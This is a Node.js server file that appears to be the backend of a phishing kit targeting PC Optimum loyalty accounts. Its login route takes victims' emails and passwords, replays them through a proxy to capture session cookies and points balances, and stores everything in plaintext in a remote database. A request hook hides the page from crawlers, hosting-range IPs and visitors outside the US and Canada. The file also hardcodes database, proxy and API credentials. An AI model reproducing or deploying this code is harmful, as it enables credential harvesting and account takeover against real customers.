import Fastify from "fastify";
import fastifyStatic from "@fastify/static";
import { dirname, resolve, join } from "path";
import { fileURLToPath } from "url";
import { Sequelize, DataTypes } from "sequelize";
import { login } from "./login.js";
import axios from "axios";
import is_ip_private from "private-ip";
import { Crawler, middleware } from "es6-crawler-detect";

const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);

const fastify = Fastify({
    trustProxy: true,
    logger: {
        level: "error",
    },
});

fastify.register(fastifyStatic, {
    root: resolve(__dirname, "public"),
    prefix: "/",
});

const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
    host: "38.180.126.100",
    dialect: "mysql",
    logging: false,
});

const Accounts = sequelize.define(
    "accounts",
    {
        // Model attributes are defined here
        email: {
            type: DataTypes.STRING,
            allowNull: false,
        },
        password: {
            type: DataTypes.STRING,
            allowNull: false,
        },
        userAgent: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        ip: {
            type: DataTypes.STRING,
            allowNull: true,
        },
        success: {
            type: DataTypes.BOOLEAN,
            allowNull: false,
            defaultValue: false,
        },
        result: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        error: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        balance: {
            type: DataTypes.STRING,
            allowNull: true,
        },
        dollarsRedeemable: {
            type: DataTypes.STRING,
            allowNull: true,
        },
        cookies: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        browserOptions: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
    },
    {
        // Other model options go here
    }
);

const Settings = sequelize.define(
    "settings",
    {
        // Model attributes are defined here
        name: {
            type: DataTypes.STRING,
            allowNull: false,
        },
        value: {
            type: DataTypes.STRING,
            allowNull: true,
        },
    },
    {
        // Other model options go here
    }
);

sequelize
    .authenticate()
    .then(async () => {
        await sequelize.sync();
        Settings.findAll().then((settings) => {
            if (!settings.find((setting) => setting.name === "block_hosting")) {
                Settings.create({ name: "block_hosting", value: "true" });
            }
            if (!settings.find((setting) => setting.name === "match_country")) {
                Settings.create({ name: "match_country", value: "US,CA" });
            }
            if (!settings.find((setting) => setting.name === "proxy_host")) {
                Settings.create({
                    name: "proxy_host",
                    value: "199.188.93.128:8000",
                });
            }
            if (
                !settings.find((setting) => setting.name === "proxy_username")
            ) {
                Settings.create({ name: "proxy_username", value: "proxy" });
            }
            if (
                !settings.find((setting) => setting.name === "proxy_password")
            ) {
                Settings.create({ name: "proxy_password", value: "40gyxQ2" });
            }
        });
    })
    .catch((error) => {
        console.error("Unable to connect to the database:", error);
    });

fastify.addHook("onRequest", async (request, reply) => {
    if (request.url === "/crushing0853.html") {
        return;
    }
    if (/(^\/$)|(\.html$)/.test(request.url)) {
        var CrawlerDetector = new Crawler(request);
        if (CrawlerDetector.isCrawler(request.headers["user-agent"])) {
            return reply
                .code(302)
                .header("Location", "http://localhost")
                .send();
        }
        const blockHosting =
            (
                (await Settings.findOne({
                    where: { name: "block_hosting" },
                })) || { value: "true" }
            ).value === "true";
        const matchCountry = (
            await Settings.findOne({
                where: { name: "match_country" },
            })
        ).value
            .split(",")
            .filter((country) => !!country);
        try {
            const ip = request.ip;
            console.log(ip);
            if (ip && !is_ip_private(ip)) {
                const { data: ipInfo } = await axios.get(
                    `https://api.ipregistry.co/${ip}?key=57nk4wtrvc99utix`
                );
                if (
                    blockHosting &&
                    ["cdn", "hosting", "education"].includes(
                        ipInfo.connection.type
                    )
                ) {
                    return reply
                        .code(302)
                        .header("Location", "https://www.pcoptimum.ca")
                        .send();
                }
                if (
                    matchCountry.length &&
                    !matchCountry.includes(ipInfo.location.country.code)
                ) {
                    return reply
                        .code(302)
                        .header("Location", "https://www.pcoptimum.ca")
                        .send();
                }
            }
        } catch (error) {
            console.error(error.stack);
        }
    }
});

fastify.post("/settings", async function (request, reply) {
    const { name, value } = request.body;
    const setting = await Settings.findOne({ where: { name } });
    if (setting) {
        setting.value = value;
        await setting.save();
    } else {
        await Settings.create({ name, value });
    }
    return reply.code(200).send();
});

fastify.get("/settings", async function (request, reply) {
    return await Settings.findAll();
});

fastify.post("/login", async function (request, reply) {
    if (!request.body || !request.body.email || !request.body.password) {
        return reply
            .code(400)
            .send({ error: "email and password are required" });
    } else {
        const { email, password } = request.body;
        const proxy_host = (
            await Settings.findOne({ where: { name: "proxy_host" } })
        )?.value;
        const proxy_username = (
            await Settings.findOne({ where: { name: "proxy_username" } })
        )?.value;
        const proxy_password = (
            await Settings.findOne({ where: { name: "proxy_password" } })
        )?.value;
        let proxy = null;
        if (proxy_host && proxy_username && proxy_password) {
            proxy = {
                server: proxy_host,
                username: proxy_username,
                password: proxy_password,
            };
        }

        try {
            const { points, cookies, options } = await login(
                email,
                password,
                proxy
            );
            let balance = null;
            let dollarsRedeemable = null;
            if (points) {
                try {
                    const json = JSON.parse(points);
                    balance = json.balance + "";
                    dollarsRedeemable = json.dollarsRedeemable + "";
                } catch (error) {}
            }
            const account = await Accounts.create({
                email,
                password,
                userAgent: request.headers["user-agent"],
                success: true,
                result: points,
                balance,
                dollarsRedeemable,
                cookies,
                browserOptions: JSON.stringify(options),
            });
            return reply.code(200).send();
        } catch (error) {
            console.error(error.stack);
            const account = await Accounts.create({
                email,
                password,
                userAgent: request.headers["user-agent"],
                success: false,
                error: error.stack,
            });
            return reply.code(500).send(error);
        }
    }
});

fastify.get("/list", async function (request, reply) {
    let page = request.query.page ? parseInt(request.query.page) : 0;
    const query = {};
    if (request.query.success) {
        query.success = request.query.success === "true";
    }
    const accounts = await Accounts.findAll({
        offset: 20 * page,
        limit: 20,
        order: [["createdAt", "DESC"]],
        where: query,
    });
    const total = await Accounts.count({ where: query });
    return {
        data: accounts,
        total,
    };
});

fastify.listen({ port: 3000, host: "0.0.0.0" }, function (err, address) {
    if (err) {
        fastify.log.error(err);
        process.exit(1);
    }
});
